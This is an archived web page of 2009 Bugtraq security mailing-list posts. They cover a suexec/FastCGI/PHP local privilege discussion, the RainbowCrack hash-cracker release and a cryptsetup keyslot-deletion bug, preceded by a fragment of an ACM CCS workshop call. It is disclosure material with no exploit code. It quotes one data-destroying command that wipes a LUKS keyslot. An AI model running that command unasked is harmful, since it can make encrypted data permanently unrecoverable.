   anticipated benefits to the ACM CCS community.
* Planned activities
* Expected number of submissions and acceptance rate
* Expected number of attendees
* Program chair(s), and, if available, tentative program committee
* A one-paragraph biographical sketch for each organizer, describing
   relevant qualifications, including research and conference/workshop
   organizing experience

For previously-held workshops, in addition to the above, proposals
must provide the following information, for the most recent
incarnation of the workshop:

* Number of submissions
* Number of accepted papers
* Number of registered attendees

Please submit workshop proposals by email to the ACM CCS Workshop
Chair, Ting Yu (yu@csc.ncsu.edu). All workshop proposals will be
reviewed by the CCS Steering Committee.


Proposal Evaluation Criteria
=====================================================================
* The workshop is within scope of computer and communications
   security and concerns a coherent and worthwhile technical
   topic.

* Its novelty with respect to other forums, especially with respect to
   other CCS workshops.

* Its likely impact on the target community, including likely high
   participation.

* One of the best ways to show likely interest is to have a strong set
   of researchers who have agreed to serve on the PC.


CCS Support for Workshops
=====================================================================
If a workshop proposal is accepted, the ACM CCS workshop chair will
work closely with workshop organizers. The ACM CCS workshop chair will
help create/maintain the submission and reviewing websites for
workshops, and is responsible for monitoring and coordinating
organizational aspects of all workshops.

From - Fri Feb 13 15:48:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006241
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39485-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 1576DEDCE4
for <lists@securityspace.com>; Fri, 13 Feb 2009 15:45:28 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id E240123701F; Fri, 13 Feb 2009 13:12:56 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 6774 invoked from network); 12 Feb 2009 15:13:42 -0000
X-Virus-Scanned: amavisd-new at tue.nl
Date: Thu, 12 Feb 2009 16:42:28 +0100 (CET)
From: Martijn Vernooij <tinus@win.tue.nl>
X-X-Sender: tinus@blib.eesi.tue.nl
To: bugtraq@securityfocus.com
Subject: Re: Local vulnerability in suexec + FastCGI + PHP configurations
In-Reply-To: <200902110955.n1B9t9UB027116@www3.securityfocus.com>
Message-ID: <Pine.LNX.4.62.0902121621010.2665@blib.eesi.tue.nl>
References: <200902110955.n1B9t9UB027116@www3.securityfocus.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
Status:   

On Wed, 11 Feb 2009 security.432@amxl.com wrote:

> DISCLAIMER: THIS SECURITY ADVISORY IS PROVIDED AS-IS, AND WITHOUT ANY 
> GUARANTEE OF ANY KIND THAT THE INFORMATION IS ACCURATE, OR THAT THE 
> WORKAROUND, SOLUTIONS, OR PATCHES PROVIDED WILL PROTECT SYSTEMS, OR THAT 
> THEY WILL NOT CREATE NEW PROBLEMS. THE AUTHOR ACCEPTS NO LIABILITY OF 
> ANY FORM FOR THE INFORMATION CONTAINED WITHIN OR THE CONSEQUENCES OF ITS 
> USE OR MISUSE.
>
> Synopsis:

>  Most current installations of PHP set up to run via FastCGI with suexec 
> are vulnerable to a local exploit, where anyone with the ability to run 
> code as the user the webserver runs as can gain access as any user with 
> an account set up to run PHP. It is anticipated that this issue will 
> especially affect shared web hosts who use FastCGI + suexec thinking it 
> will give them additional security.
>
> Conditions for exploitation:
>[..]
>  => The attacker must be able to run code as the same user that the 
> webserver runs as. This is unlikely to be a problem for many local 
> attackers, because there are a multitude of possible attack vectors, 
> such as SSI, non-suexec CGI scripts, non-suexec PHP (if mod_php is also 
> installed), and likely numerous other options.

Once the attacker can run code as the same user the webserver runs as, he 
can make the webserver do whatever he wants. He can just 'debug' the 
webserver process and change any setting, inject code, whatever. You can 
php.ini whatever you want, and the attacker can just make the webserver 
read his own php.ini, or change the webserver memory after the fact, to 
make it think it read something else than you wrote.

>[..]
> Vendor notification:
>  security@php.net has been informed of this issue. Antony Dovegal replied to say:
>     "It's been agreed that we won't implement any more security hacks in 
> PHP itself since such things should be done by the OS, so no more magic 
> INI settings."
>  As such, it appears that the PHP developers do not intend to add any 
> technical measures against this vulnerability. It should be noted that 
> while this is a vulnerability in a way of installing PHP, it appears 
> that there is no way to securely set up a suexec + FastCGI + PHP 
> installation using an unpatched version of PHP and so it is hoped that 
> the PHP developers will reconsider in time.

And they are right. Unix security, and therefore application security, 
cannot protect you from you, and if the attacker can run processes as you, 
as far as Unix is concerned, he is you. If you want to prevent attackers 
from making processes you run do things you don't want, don't let them run 
processes on your user id.

The only thing that could be done, would be to make the process running as 
another user id, that is the php instance running from suexec, completely 
distrust any input it gets from the webserver. That way, what the attacker 
can do is limited to what php lets him do.

In most cases that wouldn't do a lot of good for you though, since the 
webserver, and therefore the attacker, can see and change anything going 
into and coming out of the 'trusted' php instance, as it is going through 
that webserver he controls. So once you use your administrator login to 
administer your website, the attacker can just steal your login without 
you ever knowing, and do whatever you could do. Or he could make you see 
whatever he wants you to see. With most php applications that is enough to 
completely own the website.

The fact remains that suexec is a bad idea that is very hard if not 
impossible to do right. Doing suexec and simultaneously allowing code to 
run as the webserver user id is not helping.

Martijn

From - Fri Feb 13 15:58:34 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006243
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39486-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 2BB07EDD96
for <lists@securityspace.com>; Fri, 13 Feb 2009 15:56:05 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id B916D236F77; Fri, 13 Feb 2009 13:22:35 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 21203 invoked from network); 13 Feb 2009 06:21:05 -0000
Date: 13 Feb 2009 06:50:16 -0000
Message-ID: <20090213065016.20701.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: shuanglei@live.com
To: bugtraq@securityfocus.com
Subject: RainbowCrack 1.3 is released, the new generation of time-memory
 tradeoff hash cracker
Status:   

We have just released the version 1.3 of the RainbowCrack software - the time-memory tradeoff hash cracker.

A proof of concept implementation of GPU accelerated RainbowCrack is also available for download.

Visit http://project-rainbowcrack.com/ for more information.

Zhu

From - Fri Feb 13 16:08:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006244
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39487-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id B27B1ECB1E
for <lists@securityspace.com>; Fri, 13 Feb 2009 16:06:12 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 1413F236F5B; Fri, 13 Feb 2009 13:26:01 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 22490 invoked from network); 13 Feb 2009 07:55:44 -0000
Date: Fri, 13 Feb 2009 09:24:52 +0100
From: Pierre Dinh-van <pierre@qsdf.org>
To: full-disclosure@lists.grok.org.uk, bugtraq@securityfocus.com
Subject: cryptsetup can't destroy last key of a LUKS partition under Ubuntu/Debian
Message-ID: <20090213082452.GA19392@qsdf.org>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
protocol="application/pgp-signature"; boundary="ikeVEW9yuYc//A+q"
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
Status:   


--ikeVEW9yuYc//A+q
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello everyone,

I noticed last week that the Debian packaged version of cryptsetup has a
little limitation, which could be a security issue for people who have to
destroy their data forever. 

It is impossible to destroy a keyslot when you used it to unlock the master
key.

I reported the bug to debian (etch and lenny are affected as far as I tested):
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=513596
and to ubuntu (tested on hardy):
https://bugs.launchpad.net/cryptsetup/+bug/324871

It's not a major security problem, but people who were planning to run 
'cryptsetup luksDelKey /dev/sda1 0' on their installation when the police 
comes to wake them up should be adviced that it won't work out of the box.

Cheers,


Pierre Dinh-van

New User Registration
Email:
UserID:
Passwd:
Please email me your monthly newsletters, informing the latest services, improvements & surveys.
Please email me a vulnerability test announcement whenever a new test is added.
   Privacy
Registered User Login
 
UserID:   
Passwd:  

 Forgot userid or passwd?
Email/Userid:




Home | About Us | Contact Us | Partner Programs | Privacy | Mailing Lists | Abuse
Security Audits | Managed DNS | Network Monitoring | Site Analyzer | Internet Research Reports
Web Probe | Whois

© 1998-2014 E-Soft Inc. All rights reserved.